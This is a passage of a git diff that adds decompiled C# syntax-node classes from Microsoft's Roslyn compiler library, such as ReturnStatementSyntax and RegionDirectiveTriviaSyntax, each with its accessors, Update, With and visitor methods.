or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, Comma, type, CloseParenToken); + } + + public RefValueExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Expression, Comma, Type, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReferenceDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReferenceDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..d7ae316 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReferenceDirectiveTriviaSyntax.cs @@ -0,0 +1,125 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ReferenceDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReferenceDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ReferenceKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReferenceDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).referenceKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken File => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReferenceDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).file, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReferenceDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReferenceDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal ReferenceDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitReferenceDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitReferenceDirectiveTrivia(this); + } + + public ReferenceDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || referenceKeyword != ReferenceKeyword || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + ReferenceDirectiveTriviaSyntax referenceDirectiveTriviaSyntax = SyntaxFactory.ReferenceDirectiveTrivia(hashToken, referenceKeyword, file, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return referenceDirectiveTriviaSyntax; + } + return referenceDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new ReferenceDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, ReferenceKeyword, File, EndOfDirectiveToken, IsActive); + } + + public ReferenceDirectiveTriviaSyntax WithReferenceKeyword(SyntaxToken referenceKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, referenceKeyword, File, EndOfDirectiveToken, IsActive); + } + + public ReferenceDirectiveTriviaSyntax WithFile(SyntaxToken file) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ReferenceKeyword, file, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new ReferenceDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ReferenceKeyword, File, endOfDirectiveToken, IsActive); + } + + public ReferenceDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ReferenceKeyword, File, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RegionDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RegionDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..dff3d26 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RegionDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RegionDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken RegionKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).regionKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RegionDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal RegionDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRegionDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRegionDirectiveTrivia(this); + } + + public RegionDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || regionKeyword != RegionKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + RegionDirectiveTriviaSyntax regionDirectiveTriviaSyntax = SyntaxFactory.RegionDirectiveTrivia(hashToken, regionKeyword, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return regionDirectiveTriviaSyntax; + } + return regionDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new RegionDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, RegionKeyword, EndOfDirectiveToken, IsActive); + } + + public RegionDirectiveTriviaSyntax WithRegionKeyword(SyntaxToken regionKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, regionKeyword, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new RegionDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, RegionKeyword, endOfDirectiveToken, IsActive); + } + + public RegionDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, RegionKeyword, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RelationalPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RelationalPatternSyntax.cs new file mode 100644 index 0000000..4747ff5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RelationalPatternSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RelationalPatternSyntax : PatternSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RelationalPatternSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal RelationalPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRelationalPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRelationalPattern(this); + } + + public RelationalPatternSyntax Update(SyntaxToken operatorToken, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken != OperatorToken || expression != Expression) + { + RelationalPatternSyntax relationalPatternSyntax = SyntaxFactory.RelationalPattern(operatorToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return relationalPatternSyntax; + } + return relationalPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public RelationalPatternSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorToken, Expression); + } + + public RelationalPatternSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReturnStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReturnStatementSyntax.cs new file mode 100644 index 0000000..c6aec31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ReturnStatementSyntax.cs @@ -0,0 +1,137 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ReturnStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken ReturnKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReturnStatementSyntax)(object)((SyntaxNode)this).Green).returnKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax? Expression => ((SyntaxNode)this).GetRed(ref expression, 2); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ReturnStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ReturnStatementSyntax Update(SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, returnKeyword, expression, semicolonToken); + } + + internal ReturnStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref expression, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitReturnStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitReturnStatement(this); + } + + public ReturnStatementSyntax Update(SyntaxList attributeLists, SyntaxToken returnKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || returnKeyword != ReturnKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + ReturnStatementSyntax returnStatementSyntax = SyntaxFactory.ReturnStatement(attributeLists, returnKeyword, expression, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return returnStatementSyntax; + } + return returnStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ReturnStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, ReturnKeyword, Expression, SemicolonToken); + } + + public ReturnStatementSyntax WithReturnKeyword(SyntaxToken returnKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, returnKeyword, Expression, SemicolonToken); + } + + public ReturnStatementSyntax WithExpression(ExpressionSyntax? expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ReturnKeyword, expression, SemicolonToken); + } + + public ReturnStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ReturnKeyword, Expression, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ReturnStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ScopedTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ScopedTypeSyntax.cs new file mode 100644 index 0000000..1d31f52 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ScopedTypeSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ScopedTypeSyntax : TypeSyntax +{ + private TypeSyntax? type; + + public SyntaxToken ScopedKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ScopedTypeSyntax)(object)((SyntaxNode)this).Green).scopedKeyword, ((SyntaxNode)this).Position, 0); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + internal ScopedTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitScopedType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitScopedType(this); + } + + public ScopedTypeSyntax Update(SyntaxToken scopedKeyword, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (scopedKeyword != ScopedKeyword || type != Type) + { + ScopedTypeSyntax scopedTypeSyntax = SyntaxFactory.ScopedType(scopedKeyword, type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return scopedTypeSyntax; + } + return scopedTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + public ScopedTypeSyntax WithScopedKeyword(SyntaxToken scopedKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(scopedKeyword, Type); + } + + public ScopedTypeSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(ScopedKeyword, type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectClauseSyntax.cs new file mode 100644 index 0000000..89dc16f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SelectClauseSyntax : SelectOrGroupClauseSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken SelectKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SelectClauseSyntax)(object)((SyntaxNode)this).Green).selectKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal SelectClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSelectClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSelectClause(this); + } + + public SelectClauseSyntax Update(SyntaxToken selectKeyword, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (selectKeyword != SelectKeyword || expression != Expression) + { + SelectClauseSyntax selectClauseSyntax = SyntaxFactory.SelectClause(selectKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return selectClauseSyntax; + } + return selectClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public SelectClauseSyntax WithSelectKeyword(SyntaxToken selectKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(selectKeyword, Expression); + } + + public SelectClauseSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(SelectKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectOrGroupClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectOrGroupClauseSyntax.cs new file mode 100644 index 0000000..a240c7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SelectOrGroupClauseSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class SelectOrGroupClauseSyntax : CSharpSyntaxNode +{ + internal SelectOrGroupClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ShebangDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ShebangDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..3f3f4b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ShebangDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ShebangDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ShebangDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ExclamationToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ShebangDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).exclamationToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ShebangDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ShebangDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal ShebangDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitShebangDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitShebangDirectiveTrivia(this); + } + + public ShebangDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + 